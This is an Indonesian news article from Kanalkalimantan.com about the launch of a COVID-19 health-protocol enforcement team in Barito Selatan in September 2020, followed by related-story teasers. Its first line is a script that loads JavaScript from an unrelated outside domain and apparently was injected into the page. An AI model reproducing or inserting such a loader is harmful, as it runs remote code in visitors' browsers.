(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, Buntok – Tim Reaksi Cepat (TRC) penindak pelanggar protokol kesehatan Covid-19 di Kabupaten Barsel, secara resmi dilepas oleh Kapolres Barsel di halaman Mako Polres lama, Senin (21/9/2020).
Kapolres Barsel AKBP Devy Firmansyah mengatakan, hari ini pihaknya bersama pihak Pemkab Barsel yang terkait secara resmi meluncurkan TRS Protokol kesehatan Covid-19 yang langsung turun menindak para pelanggar protokol kesehatan covid di Barsel.
“Jadi dibantu pihak terkait lainnya, hari ini kita sudah mulai bergerak untuk menindak para pelanggar protokol kesehatan lewat TRC tim yang dibentuk bersama,” kata Devy kepada Kanalkalimantan.com, usai peluncuran.
Ia juga berharap, dengan telah diluncurkan TRC ini ke lapangan, bisa memberikan pemahaman yang lebih baik lagi kepada masyarakat akan pentingnya dalam mentaati protokol kesehatan dalam memerangi pandemi covid-19 di Barsel ini.
“Kita sangat berharap untuk masyarakat Barsel bisa lebih paham lagi dan sadar akan pentingnya menjalankan protokol kesehatan yang ada, guna melawan penyebaran covid-19 di Barsel ini,” pinta Devy.
Masih kata orang nomor satu di Polres Barsel itu, bahwa TNI/Polri dengan Pemerintah setempat tidak akan pernah berhenti untuk melakukan pendisiplinan masyarakat. “Terlebih untuk memutus mata rantai penyebaran covid-19 di Barsel, yang mana hingga tadi malam Barsel sendiri masih ada penambahan 2 suspeck lagi.
Maka dari itu kita akan selalu berupaya yang terbaik dalam melawan covid-19 di Barsel ini,” tutur Devy. Ditambahkan olehnya bahwa pihaknya juga telah menyerankan kepada pihak Dewan agar Perbup Barsel yang telah dibuat kemaren agar segera diperdakan sehingga bisa memberikan kekuatan di lapangan saat melakukan penindakan protokol kesehatan.
“Sehingga jika sudah diperdakan saat penindakan di lapangan bisa dilakukan penyidangan di tempat, seperti yang ada di daerah lain,” pungkas Devy.(kanalkalimantan.com/digdo)
Reporter: Digdo
Editor: Cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.